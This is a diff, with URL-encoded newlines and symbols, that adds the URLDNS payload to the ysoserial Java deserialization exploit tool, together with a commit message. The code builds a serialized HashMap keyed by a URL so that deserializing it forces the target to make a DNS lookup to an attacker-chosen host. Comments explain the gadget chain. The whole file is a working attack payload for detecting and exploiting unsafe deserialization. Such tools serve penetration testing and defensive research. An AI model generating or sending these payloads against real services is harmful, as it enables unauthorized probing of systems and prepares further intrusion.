@@ -0,0 +1,2268 @@
+package ysoserial.payloads;%0A%0Aimport java.lang.reflect.InvocationHandler;%0Aimport java.util.HashMap;%0Aimport java.util.LinkedHashSet;%0Aimport java.util.Hashtable;%0Aimport java.net.URL;%0A%0Aimport javax.xml.transform.Templates;%0A%0Aimport ysoserial.payloads.annotation.Dependencies;%0Aimport ysoserial.payloads.util.PayloadRunner;%0Aimport ysoserial.payloads.util.Reflections;%0A%0A%0A/**%0A * A blog post with more details about this gadget chain is at the url below:%0A *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/%0A *%0A *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog %0A *   posting describing how he modified the Java Commons Collections gadget %0A *   in ysoserial to open a URL. This takes the same idea, but eliminates %0A *   the dependency on Commons Collections and does a DNS lookup with just %0A *   standard JDK classes.%0A *%0A *   The Java URL class has an interesting property on its equals and %0A *   hashCode methods. The URL class will, as a side effect, do a DNS lookup %0A *   during a comparison (either equals or hashCode).%0A *   %0A *   As part of deserialization, HashMap calls hashCode on each key that it%0A *   deserializes, so using a Java URL object as a serialized key allows %0A *   it to trigger a DNS lookup.%0A *%0A *   Gadget Chain:%0A *     HashMap.readObject()%0A *       HashMap.putVal()%0A *         HashMap.hash()%0A *           URL.hashCode()%0A *       %0A *%0A */%0A@SuppressWarnings(%7B %22rawtypes%22, %22unchecked%22 %7D)%0A@Dependencies()%0Apublic class URLDNS implements ObjectPayload%3CObject%3E %7B%0A%0A        public Object getObject(final String url) throws Exception %7B%0A                HashMap ht = new HashMap(); // HashMap that will contain the URL%0A                URL u = new URL(url); // URL to use as the Key%0A                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.%0A%0A                Reflections.setFieldValue(u, %22hashCode%22, -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.%0A%0A                return ht;%0A        %7D%0A%0A        public static void main(final String%5B%5D args) throws Exception %7B%0A                PayloadRunner.run(URLDNS.class, args);%0A        %7D%0A%0A%7D%0A

Add URLDNS gadget, that uses the argument as a URL to trigger a DNS lookup.